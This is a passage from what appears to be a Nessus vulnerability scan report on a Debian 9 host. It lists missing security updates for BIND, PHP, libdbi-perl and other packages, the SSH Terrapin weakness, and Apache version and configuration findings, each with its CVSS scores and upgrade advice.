- CVE-2020-8616 It was discovered that BIND does not sufficiently limit the number of fetches performed when processing referrals. An attacker can take advantage of this flaw to cause a denial of service (performance degradation) or use the recursing server in a reflection attack with a high amplification factor.

- CVE-2020-8617 It was discovered that a logic error in the code which checks TSIG validity can be used to trigger an assertion failure, resulting in denial of service.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=945171
https://security-tracker.debian.org/tracker/CVE-2019-6477
https://security-tracker.debian.org/tracker/CVE-2020-8616
https://security-tracker.debian.org/tracker/CVE-2020-8617
https://security-tracker.debian.org/tracker/source-package/bind9
https://packages.debian.org/source/stretch/bind9
https://packages.debian.org/source/buster/bind9
https://www.debian.org/security/2020/dsa-4689

Solution

Upgrade the bind9 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u6.

For the stable distribution (buster), these problems have been fixed in version 1:9.11.5.P4+dfsg-5.1+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-6477
CVE	CVE-2020-8616
CVE	CVE-2020-8617
XREF	DSA:4689
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/20, Modified: 2024/03/12

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u6
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u6
```

138106 - Debian DSA-4717-1 : php7.0 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in information disclosure, denial of service or potentially the execution of arbitrary code.

See Also

https://security-tracker.debian.org/tracker/source-package/php7.0
https://packages.debian.org/source/stretch/php7.0

https://www.debian.org/security/2020/dsa-4717

Solution

Upgrade the php7.0 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 7.0.33-0+deb9u8.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-11048
CVE	CVE-2020-7062
CVE	CVE-2020-7063
CVE	CVE-2020-7064
CVE	CVE-2020-7066
CVE	CVE-2020-7067
XREF	DSA:4717
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2020/07/06, Modified: 2024/03/04

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u8
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u8
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u8
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u8
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u8
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u8
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u8
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u8
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u8
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u8
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u8
```

187315 - SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795) -

Synopsis

The remote SSH server is vulnerable to a mitm prefix truncation attack.

Description

The remote SSH server is vulnerable to a man-in-the-middle prefix truncation weakness known as Terrapin. This can allow a remote, man-in-the-middle attacker to bypass integrity checks and downgrade the connection's security.

Note that this plugin only checks for remote SSH servers that support either ChaCha20-Poly1305 or CBC with Encrypt-then-MAC and do not support the strict key exchange countermeasures. It does not check for vulnerable software versions.

See Also

https://terrapin-attack.com/

Solution

Contact the vendor for an update with the strict key exchange countermeasures or disable the affected algorithms.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:C/A:N)

CVSS v2.0 Temporal Score

4.2 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2023-48795

Plugin Information

Published: 2023/12/27, Modified: 2024/01/29

Plugin Output

tcp/22/ssh

```
Supports following ChaCha20-Poly1305 Client to Server algorithm : chacha20-poly1305@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : umac-64-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : umac-128-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha2-256-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha2-512-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha1-etm@openssh.com
Supports following ChaCha20-Poly1305 Server to Client algorithm : chacha20-poly1305@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : umac-64-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : umac-128-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha2-256-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha2-512-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha1-etm@openssh.com
```

139876 - Debian DLA-2345-1 : php7.0 security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there was a use-after-free vulnerability when parsing PHAR files, a method of putting entire PHP applications into a single file.

For Debian 9 'Stretch', this problem has been fixed in version 7.0.33-0+deb9u9.

We recommend that you upgrade your php7.0 packages.

For the detailed security status of php7.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/php7.0

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00043.html

https://packages.debian.org/source/stretch/php7.0
https://security-tracker.debian.org/tracker/source-package/php7.0

Solution

Upgrade the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

3.6 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:L)

CVSS v3.0 Temporal Score

3.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

3.3 (CVSS2#AV:L/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

2.6 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-7068
XREF	IAVA:2020-A-0373-S

Plugin Information

Published: 2020/08/27, Modified: 2024/02/23

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u9
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u9
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u9
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u9
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u9
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u9
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u9
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u9
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u9
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u9
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u9
```

140934 - Debian DLA-2386-1 : libdbi-perl security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in the Perl5 Database Interface (DBI). An attacker could trigger a denial of service (DoS) and possibly execute arbitrary code.

CVE-2019-20919

The hv_fetch() documentation requires checking for NULL and the code does that. But, shortly thereafter, it calls SvOK(profile), causing a NULL pointer dereference.

CVE-2020-14392

An untrusted pointer dereference flaw was found in Perl-DBI. A local attacker who is able to manipulate calls to dbd_db_login6_sv() could cause memory corruption, affecting the service's availability.

CVE-2020-14393

A buffer overflow on via an overlong DBD class name in dbih_setup_handle function may lead to data be written past the intended limit.

For Debian 9 stretch, these problems have been fixed in version 1.636-1+deb9u1.

We recommend that you upgrade your libdbi-perl packages.

For the detailed security status of libdbi-perl please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libdbi-perl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00026.html
https://packages.debian.org/source/stretch/libdbi-perl
https://security-tracker.debian.org/tracker/source-package/libdbi-perl

Solution

Upgrade the affected libdbi-perl package.

Risk Factor

Low

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

2.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-20919
CVE	CVE-2020-14392
CVE	CVE-2020-14393

Plugin Information

Published: 2020/09/29, Modified: 2024/02/19

Plugin Output

tcp/0

```
Remote package installed : libdbi-perl_1.636-1+b1
Should be : libdbi-perl_1.636-1+deb9u1
```

144023 - Debian DLA-2488-2 : python-apt regression update -

Synopsis

The remote Debian host is missing a security update.

Description

The update for python-apt released as 2488-1 introduced a regression by causing a segmentation fault, which is now fixed with this update.

For Debian 9 stretch, this problem has been fixed in version 1.4.3.

We recommend that you upgrade your python-apt packages.

For the detailed security status of python-apt please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python-apt

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00037.html
https://packages.debian.org/source/stretch/python-apt
https://security-tracker.debian.org/tracker/source-package/python-apt

Solution

Upgrade the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

2.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L)

CVSS v3.0 Temporal Score

2.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2020/12/10, Modified: 2020/12/28

Plugin Output

tcp/0

```
Remote package installed : python-apt-common_1.4.0~beta3
Should be : python-apt-common_1.4.3
Remote package installed : python3-apt_1.4.0~beta3
Should be : python3-apt_1.4.3
```

150255 - Debian DLA-2674-1 : isc-dhcp security update -

Synopsis

The remote Debian host is missing a security update.

Description

Jon Franklin and Pawel Wieczorkiewicz found an issue in the ISC DHCP client and server when parsing lease information, which could lead to denial of service via application crash.

For Debian 9 stretch, this problem has been fixed in version 4.3.5-3+deb9u2.

We recommend that you upgrade your isc-dhcp packages.

For the detailed security status of isc-dhcp please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/isc-dhcp

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/06/msg00002.html
https://packages.debian.org/source/stretch/isc-dhcp

https://security-tracker.debian.org/tracker/source-package/isc-dhcp

Solution

Upgrade the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

7.4 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

3.3 (CVSS2#AV:A/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

2.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-25217

Plugin Information

Published: 2021/06/04, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : isc-dhcp-client_4.3.5-3+deb9u1
Should be : isc-dhcp-client_4.3.5-3+deb9u2
Remote package installed : isc-dhcp-common_4.3.5-3+deb9u1
Should be : isc-dhcp-common_4.3.5-3+deb9u2
```

151006 - Debian DLA-2691-1 : libgcrypt20 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has a package installed that is affected by a vulnerability as referenced in the dla-2691 advisory.

An issue has been found in libgcrypt20, a crypto library. Mishandling of ElGamal encryption results in a possible side-channel attack and an interoperability problem with keys not generated by GnuPG/libgcrypt.
For Debian 9 stretch, this problem has been fixed in version 1.7.6-2+deb9u4. We recommend that you upgrade your libgcrypt20 packages. For the detailed security status of libgcrypt20 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libgcrypt20 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/CVE-2021-40528
https://security-tracker.debian.org/tracker/source-package/libgcrypt20
https://www.debian.org/lts/security/2021/dla-2691

Solution

Upgrade the libgcrypt20 packages.

For Debian 9 stretch, this problem has been fixed in version 1.7.6-2+deb9u4.

Risk Factor

Low

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

2.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-40528

Plugin Information

Published: 2021/06/25, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libgcrypt20_1.7.6-2+deb9u3
Should be : libgcrypt20_1.7.6-2+deb9u4
```

155707 - Debian DLA-2830-1 : tar - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2830 advisory.

An infinite loop when --sparse is used with file shrinkage during read access was fixed in the GNU tar archiving utility. For Debian 9 stretch, this problem has been fixed in version 1.29b-1.1+deb9u1. We recommend that you upgrade your tar packages. For the detailed security status of tar please refer to its security tracker page at: https://security-tracker.debian.org/tracker/tar Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=917377
https://security-tracker.debian.org/tracker/source-package/tar
https://www.debian.org/lts/security/2021/dla-2830
https://security-tracker.debian.org/tracker/CVE-2018-20482
https://packages.debian.org/source/stretch/tar

Solution

Upgrade the tar packages.

For Debian 9 stretch, this problem has been fixed in version 1.29b-1.1+deb9u1.

Risk Factor

Low

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

1.9 (CVSS2#AV:L/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2018-20482

Plugin Information

Published: 2021/11/29, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : tar_1.29b-1.1
Should be : tar_1.29b-1.1+deb9u1
```

157058 - Debian DLA-2897-1 : apr - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2897 advisory.

An issue has been found in apr, the Apache Portable Runtime Library. The issue is related to out of bounds memory access due to invalid date fields. For Debian 9 stretch, this problem has been fixed in version 1.5.2-5+deb9u1. We recommend that you upgrade your apr packages. For the detailed security status of apr please refer to its security tracker page at: https://security-tracker.debian.org/tracker/apr Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/apr
https://www.debian.org/lts/security/2022/dla-2897
https://security-tracker.debian.org/tracker/CVE-2017-12613
https://packages.debian.org/source/stretch/apr

Solution

Upgrade the apr packages.

For Debian 9 stretch, this problem has been fixed in version 1.5.2-5+deb9u1.

Risk Factor

Low

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

2.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2017-12613

Plugin Information

Published: 2022/01/25, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libapr1_1.5.2-5
Should be : libapr1_1.5.2-5+deb9u1
```

161684 - Debian DLA-3035-1 : libdbi-perl - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has a package installed that is affected by multiple vulnerabilities as referenced in the dla-3035 advisory.

It was discovered that CVE-2014-10401 was fixed incompletely in the Perl5 Database Interface (DBI). An attacker could trigger information disclosure through a different vector. CVE-2014-10401 DBD::File drivers can open files from folders other than those specifically passed via the f_dir attribute. CVE-2014-10402 DBD::File drivers can open files from folders other than those specifically passed via the f_dir attribute in the data source name (DSN). NOTE: this issue exists because of an incomplete fix for CVE-2014-10401.
For Debian 9 stretch, this problem has been fixed in version 1.636-1+deb9u2. We recommend that you upgrade your libdbi-perl packages. For the detailed security status of libdbi-perl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libdbi-perl Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=972180
https://security-tracker.debian.org/tracker/source-package/libdbi-perl
https://www.debian.org/lts/security/2022/dla-3035
https://security-tracker.debian.org/tracker/CVE-2014-10401
https://security-tracker.debian.org/tracker/CVE-2014-10402
https://packages.debian.org/source/stretch/libdbi-perl

Solution

Upgrade the libdbi-perl packages.

For Debian 9 stretch, this problem has been fixed in version 1.636-1+deb9u2.

Risk Factor

Low

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

2.8 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2014-10401
CVE	CVE-2014-10402

Plugin Information

Published: 2022/05/31, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libdbi-perl_1.636-1+b1
Should be : libdbi-perl_1.636-1+deb9u2
```

124344 - Debian DSA-4435-1 : libpng1.6 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

A use-after-free vulnerability was discovered in the png_image_free() function in the libpng PNG library, which could lead to denial of service or potentially the execution of arbitrary code if a malformed image is processed.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=921355
https://security-tracker.debian.org/tracker/source-package/libpng1.6
https://packages.debian.org/source/stretch/libpng1.6
https://www.debian.org/security/2019/dsa-4435

Solution

Upgrade the libpng1.6 packages.

For the stable distribution (stretch), this problem has been fixed in version 1.6.28-1+deb9u1.

Risk Factor

Low

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

2.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-7317
XREF	DSA:4435
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2019/04/29, Modified: 2024/05/31

Plugin Output

tcp/0

```
Remote package installed : libpng16-16_1.6.28-1
Should be : libpng16-16_1.6.28-1+deb9u1
```

125905 - Debian DSA-4462-1 : dbus - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Joe Vennix discovered an authentication bypass vulnerability in dbus, an asynchronous inter-process communication system. The implementation of the DBUS_COOKIE_SHA1 authentication mechanism was susceptible to a symbolic link attack. A local attacker could take advantage of this flaw to bypass authentication and connect to a DBusServer with elevated privileges.

The standard system and session dbus-daemons in their default configuration are not affected by this vulnerability.

The vulnerability was addressed by upgrading dbus to a new upstream version 1.10.28 which includes additional fixes.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930375
https://security-tracker.debian.org/tracker/source-package/dbus
https://packages.debian.org/source/stretch/dbus
https://www.debian.org/security/2019/dsa-4462

Solution

Upgrade the dbus packages.

For the stable distribution (stretch), this problem has been fixed in version 1.10.28-0+deb9u1.

Risk Factor

Low

CVSS v3.0 Base Score

7.1 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

CVSS v3.0 Temporal Score

6.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

2.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-12749
XREF	DSA:4462

Plugin Information

Published: 2019/06/14, Modified: 2024/05/16

Plugin Output

tcp/0

```
Remote package installed : dbus_1.10.26-0+deb9u1
Should be : dbus_1.10.28-0+deb9u1
Remote package installed : libdbus-1-3_1.10.26-0+deb9u1
Should be : libdbus-1-3_1.10.28-0+deb9u1
```

133230 - Debian DSA-4609-1 : python-apt - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Two security issues were found in the Python interface to the apt package manager; package downloads from unsigned repositories were incorrectly rejected and the hash validation relied on MD5.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=944696
https://security-tracker.debian.org/tracker/source-package/python-apt
https://packages.debian.org/source/stretch/python-apt
https://packages.debian.org/source/buster/python-apt
https://www.debian.org/security/2020/dsa-4609

Solution

Upgrade the python-apt packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1.4.1.

For the stable distribution (buster), these problems have been fixed in version 1.8.4.1.

Risk Factor

Low

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

4.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-15795
CVE	CVE-2019-15796
XREF	DSA:4609

Plugin Information

Published: 2020/01/27, Modified: 2024/03/28

Plugin Output

tcp/0

```
Remote package installed : python-apt-common_1.4.0~beta3
Should be : python-apt-common_1.4.1
Remote package installed : python3-apt_1.4.0~beta3
Should be : python3-apt_1.4.1
```

10114 - ICMP Timestamp Request Remote Date Disclosure -

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

References

CVE	CVE-1999-0524
XREF	CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/10/07

Plugin Output

icmp/0

```
The remote clock is synchronized with the local clock.
```

141394 - Apache HTTP Server Installed (Linux)

Synopsis

The remote host has Apache HTTP Server software installed.

Description

Apache HTTP Server is installed on the remote Linux host.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0530

Plugin Information

Published: 2020/10/12, Modified: 2025/08/19

Plugin Output

tcp/0

```
Path : /usr/sbin/apache2
Version : 2.4.25
Associated Package : apache2-bin: /usr/sbin/apache2
Managed by OS : True
Running : yes

Configs found :
- /etc/apache2/apache2.conf

Loaded modules :
- libphp7.0
- mod_access_compat
- mod_alias
- mod_auth_basic
- mod_authn_core
- mod_authn_file
- mod_authz_core
- mod_authz_host
- mod_authz_user
- mod_autoindex
- mod_deflate
- mod_dir
- mod_env
- mod_filter
- mod_mime
- mod_mpm_prefork
- mod_negotiation
- mod_reqtimeout
- mod_rewrite
- mod_setenvif
- mod_status
```

142640 - Apache HTTP Server Site Enumeration -

Synopsis

The remote host is hosting websites using Apache HTTP Server.

Description

Domain names and IP addresses from Apache HTTP Server configuration file were retrieved from the remote host. Apache HTTP Server is a webserver environment written in C. Note: Only Linux- and Unix-based hosts are currently supported by this plugin.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/11/09, Modified: 2025/07/14

Plugin Output

tcp/0

```
Sites and configs present in /usr/sbin/apache2 Apache installation:
- following sites are present in /etc/apache2/apache2.conf Apache config file:
+ - *:80
```

48204 - Apache HTTP Server Version -

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

```
URL : http://wordy/
Version : 2.4.99
Source : Server: Apache/2.4.25 (Debian)
backported : 1
os : ConvertedDebian
```

39520 - Backported Security Patch Detection (SSH) -

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

